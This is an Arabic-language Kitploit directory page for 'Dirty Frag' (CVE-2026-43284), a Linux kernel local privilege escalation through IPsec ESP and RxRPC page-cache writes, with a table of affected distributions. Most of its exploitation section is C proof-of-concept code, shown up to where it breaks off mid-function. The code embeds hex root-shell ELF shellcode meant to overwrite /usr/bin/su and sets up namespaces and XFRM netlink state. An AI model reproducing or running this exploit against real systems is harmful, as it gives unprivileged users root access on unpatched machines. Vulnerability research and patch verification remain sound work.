Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-43284 — Dirty Frag - ثغرة حرجة في نواة لينكس | Kitploit
أدوات/GitHubGitHub/lucaspdiniz/cve-2026-43284
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمراستغلال الملفات الثنائية
GitHublucaspdiniz/cve-2026-43284

CVE-2026-43284

Dirty Frag - ثغرة حرجة في نواة لينكس

عرض المستودع
119منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Dirty Frag - ثغرة حرجة في نواة لينكس - CVE-2026-43284 📚

مقدمة

سلسلة الاستغلال، المصنفة على أنها تصعيد صلاحيات محلي (LPE)، تسمح لمستخدم غير مميز بالحصول على وصول الجذر على جميع توزيعات لينكس الحديثة تقريبًا التي تشغل أنوية صدرت منذ عام 2017، وتمتد عبر حوالي تسع سنوات من الإصدارات. يعمل الاستغلال عبر مسار فك التشفير الموضعي لوحدات esp4 وesp6 وrxrpc، مما يؤدي إلى إفساد ذاكرة التخزين المؤقت لصفحات النواة من خلال استدعاءات نظام قياسية مثل splice(2) وsendmsg(2)، دون الحاجة إلى تفاعل المستخدم أو ناقل هجوم عن بعد.

الثغرات المكونة هما:

  • xfrm-ESP كتابة ذاكرة التخزين المؤقت للصفحات - CVE-2026-43284، في مسار إدخال IPsec ESP. تم دمجها في شجرة netdev في 7 مايو 2026 وتم قبولها في الشجرة الرئيسية في 8 مايو 2026 كالتزام f4c50a4034e6 (يفتح في علامة تبويب جديدة).

  • RxRPC كتابة ذاكرة التخزين المؤقت للصفحات - تم حجز CVE-2026-43500، في مسار التحقق من AFS RxRPC. لا يوجد تصحيح في أي شجرة وقت الإفصاح.

التوزيعات المتأثرة

التوزيعةالإصدارات المتأثرةCVE-2026-43284 (ESP)CVE-2026-43500 (RxRPC)حالة التصحيح
RHEL8, 9, 10✅ متأثر✅ متأثرمصحح
AlmaLinux8, 9, 10✅ متأثر⚠️ فقط 9 و 10¹مصحح
Rocky Linux8, 9, 10✅ متأثر✅ متأثرمصحح
CentOS8✅ متأثر✅ متأثرمصحح
CloudLinux7 Hybrid, 8, 9, 10✅ متأثر✅ متأثرمصحح
Oracle LinuxRHCK / UEK متأثر✅ متأثر✅ متأثرمصحح
Ubuntu20.04, 22.04, 24.04✅ متأثر✅ متأثرمصحح
DebianBullseye, Bookworm, Trixie✅ متأثر✅ متأثرمصحح (sid أولاً)
Fedoraالإصدارات الحالية✅ متأثر✅ متأثرمصحح
Arch LinuxRolling✅ متأثر✅ متأثرمصحح
Amazon Linux2, 2023✅ متأثر✅ متأثرمصحح
Proxmox VEالإصدارات الحالية✅ متأثر✅ متأثرمصحح


المتأثر: نواة لينكس ≥ 4.14 (منذ يناير 2017) · جميع التوزيعات الرئيسية · لا يوجد ناقل هجوم عن بعد CVSS 3.1: 8.8 عالية (CVE-2026-43284) · تم الإفصاح: 7 مايو 2026 · إثبات المفهوم عام في اليوم صفر الباحث: Hyunwoo Kim (@v4bel)

الاستغلال 🔓

  1. لاستغلال هذه الثغرة، سنستخدم إثبات المفهوم أدناه، ونقوم بإنشاء ملف باسم exp.c.``` #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sched.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <linux/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/xfrm.h>

#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif

#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */

/*

  • 192-byte minimal x86_64 root-shell ELF.
  • _start at 0x400078:
  • setgid(0); setuid(0); setgroups(0, NULL);
    
  • execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
    
  • PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
  • Setting TERM in the new shell's env silences the
  • "tput: No value for $TERM" / "test: : integer expected" noise
  • /etc/bash.bashrc and friends emit when TERM is unset.
  • Code (from offset 0x78):
  • 31 ff xor edi, edi
  • 31 f6 xor esi, esi
  • 31 c0 xor eax, eax
  • b0 6a mov al, 0x6a ; setgid
  • 0f 05 syscall
  • b0 69 mov al, 0x69 ; setuid
  • 0f 05 syscall
  • b0 74 mov al, 0x74 ; setgroups
  • 0f 05 syscall
  • 6a 00 push 0 ; envp[1] = NULL
  • 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
  • 50 push rax ; envp[0]
  • 48 89 e2 mov rdx, rsp ; rdx = envp
  • 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
  • 31 f6 xor esi, esi ; rsi = NULL (argv)
  • 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
  • 0f 05 syscall ; execve("/bin/sh",NULL,envp)
  • "TERM=xterm\0" (offset 0xa5..0xaf)
  • "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };

extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)

static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }

static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }

static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }

static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }

تنزيل الأداة